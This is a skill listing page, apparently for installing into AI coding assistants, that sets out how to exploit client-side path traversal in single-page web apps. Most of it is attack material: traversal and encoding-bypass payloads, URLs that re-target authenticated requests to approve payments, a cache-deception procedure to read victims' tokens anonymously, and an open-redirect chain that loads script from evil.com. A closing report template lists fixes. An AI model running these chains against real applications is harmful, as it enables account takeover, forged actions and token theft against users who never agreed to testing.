Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params
When a frontend fetch()/XHR wrapper prepends /api/ or /proxy/ and auto-attaches auth headers/cookies
When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs
When CMS/feature-flag content generates <link>, <style>, or @import URLs
When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
Critical: Variants Most Often Missed
CSPT lands the traversal on the same origin in the victim's authenticated browser context — not on the server filesystem. The miss is treating it as "just a redirect." Test the full sink matrix:
# 1. Re-target an authenticated request to a sibling API (router does /${param})
?doc=../../v1/admin/users
?doc=../../v1/admin/users.json # add .json/.css if CDN only caches static-looking assets
# 2. CSPT -> CSRF (verb change / re-enter destructive endpoint)
?action=../../payments/approve/.json&_method=POST
# escape the intended resource path then hit password-reset / approve / revoke endpoints
# 3. CSPT -> extension-based CDN cache deception (exfil authenticated JSON)
?file=../../v1/token.css # CDN caches .css as public → secret stored under public key
# 4. CSPT -> open redirect -> XSS/SSRF
?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x
# 5. Dot-segment encodings to defeat naive normalization
../ ..%2f %2e%2e/ %2e%2e%2f %2e./%2e/
..;/ # matrix-param/semicolon variant
../api/%252e%252e/ # DOUBLE url-encoding (frontend decodes before fetch)
Real-world gadget (Grafana CVE-2025-4123/6023): /public/plugins/../../../../..//evil.com/poc/module.js smuggled ../ into the plugin asset loader, chaining open redirect → remote JS (XSS) and, with the Image Renderer plugin, → SSRF.
How to CONFIRM a hit (avoid false negatives)
Re-targeting: instrument fetch/XHR and confirm the dispatched URL resolves to a DIFFERENT same-origin endpoint than intended, and still carries credentials: "include" / auth headers.
CSRF: the destructive endpoint actually executes (state change observed) when the victim loads your URL.
Cache deception: request the variant () and watch the response flip to and while still returning JSON; then read it back anonymously and get the secret.
...token.css
Cache-Control: public/max-age
X-Cache: Hit
Open redirect/XSS: the SPA navigates to attacker origin / executes attacker JS.
Watch specifically for init.credentials === "include" — that's what makes a same-origin traversal weaponizable. A request without credentials is usually not impactful.
Workflow
Step 1: Map Sources → Sinks
// Drop in DevTools to surface traversals while you use the UI
(() => {
const o = window.fetch;
window.fetch = asyncfunction (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET", init?.credentials);
debugger;
}
return o.apply(this, arguments);
};
})();
Wrap XMLHttpRequest.prototype.open, history.pushState, and framework routers (next/router) the same way. Edit IndexedDB/localStorage routing hints with traversal payloads and reload — mutated state often reinjects pre-hydration.
Step 2: Exploit — chain the traversal
# CSPT -> CSRF: craft a URL that injects traversal into the SPA param so the
# authenticated fetch hits a destructive endpoint
https://app.target/#/docs/../../payments/approve/123
# CSPT -> cache deception (account takeover):
1. Lure victim to https://app.target/#/profile/../../v1/token.css
2. Authenticated fetch hits /v1/token.css, CDN caches JSON under public key
3. Attacker fetches https://app.target/v1/token.css anonymously → reads the token
Step 3: Escalate / Impact
# Open redirect -> XSS via plugin/asset loader (Grafana-style)
https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js
# Same primitive flipped to SSRF if a renderer/image plugin follows the redirect server-side
Maintain a scratchpad of working dot-segment variants (..;/, %2e%2e/, %2e./%2e/, double-encoding) and suffix tricks (.css, .json, ; matrix params) for fast replay on new sinks.
Key Concepts
Concept
Description
CSPT / OSRF
Manipulating a same-origin URL the victim's browser fetches with their creds
Source
Route params, stored slugs/IDs, UI fragments concatenated into request paths
Sink
fetch/XHR wrappers, router.navigate, <link>/@import, service workers
CSPT→CSRF
Escape the path to re-enter destructive POST/PUT/DELETE endpoints
Cache deception
Static-looking suffix makes CDN cache an authenticated response publicly
Double-decode
%252e%252e decoded by the frontend before the request is dispatched
Tools & Systems
Tool
Purpose
CSPT Burp Extension (Doyensec)
Cluster params reflected into other requests' paths; reissue PoCs with canaries
Eval Villain (Firefox)
Monitor sources/sinks of attacker-controlled data
CSPT Playground (Doyensec)
Practice traversal→CSRF→XSS chains locally (docker compose up)
Browser DevTools
Wrap fetch/XHR/router to detect dispatched traversals
Burp / ZAP
Spot %252e%252e/ double-decode patterns in proxy history
Common Scenarios
Scenario 1: CSPT → Account Takeover via Cache Deception
An SPA builds /api/${slug} with auth headers. slug=../../v1/token.css makes the CDN cache the token JSON under a public .css key; the attacker reads it back unauthenticated and takes over the account.
Scenario 2: CSPT → CSRF
A download button appends a user fragment to /api/files/. Traversing to ../../payments/approve/123 re-targets the authenticated request to a state-changing endpoint, approving a payment as the victim.
Scenario 3: Plugin Loader → XSS/SSRF (Grafana)
Anonymous dashboards enabled; /public/plugins/../../../../..//evil.com/poc/module.js loads attacker JS in the victim's session, and the same traversal redirects the image renderer toward internal hosts (SSRF).
Output Format
## Client-Side Path Traversal (CSPT/OSRF) Finding
**Vulnerability**: Client-Side Path Traversal → CSRF / Cache Deception / XSS
**Severity**: High to Critical (CVSS 7.1–9.3 depending on chain)
**Location**: SPA route param feeding fetch() — e.g. /#/profile/<INPUT>
**OWASP Category**: A01:2021 - Broken Access Control (chained with A03/A10)
### Reproduction Steps
1. Identify fetch building /api/${param} with credentials: "include".
2. Lure victim to /#/profile/../../v1/token.css → authenticated fetch hits cacheable path.
3. CDN stores JSON token under public .css key (X-Cache: Hit, Cache-Control: public).
4. Attacker requests /v1/token.css anonymously → recovers token → account takeover.
### Evidence
| Payload | Dispatched URL | Effect |
|---------|----------------|--------|
| ../../v1/admin/users | /api/v1/admin/users (creds) | Re-target authed request |
| ../../v1/token.css | cached publicly | Secret exfiltration |
| ../../payments/approve/.json | POST executed | CSRF state change |
### Impact
Account takeover, unauthorized state changes (CSRF), exposure of authenticated responses via public cache, and XSS/SSRF when chained with open redirect / asset loaders.
### Recommendation
1. Build request URLs from allow-listed identifiers; reject `../`, `..;/`, and encoded dot-segments after decoding.
2. Resolve/normalize the path client-side and verify it stays within the intended API namespace.
3. Make the CDN vary on auth headers / never cache authenticated JSON; avoid static-looking suffixes on dynamic endpoints.
4. Apply anti-CSRF tokens and SameSite cookies on state-changing endpoints; fix open redirects.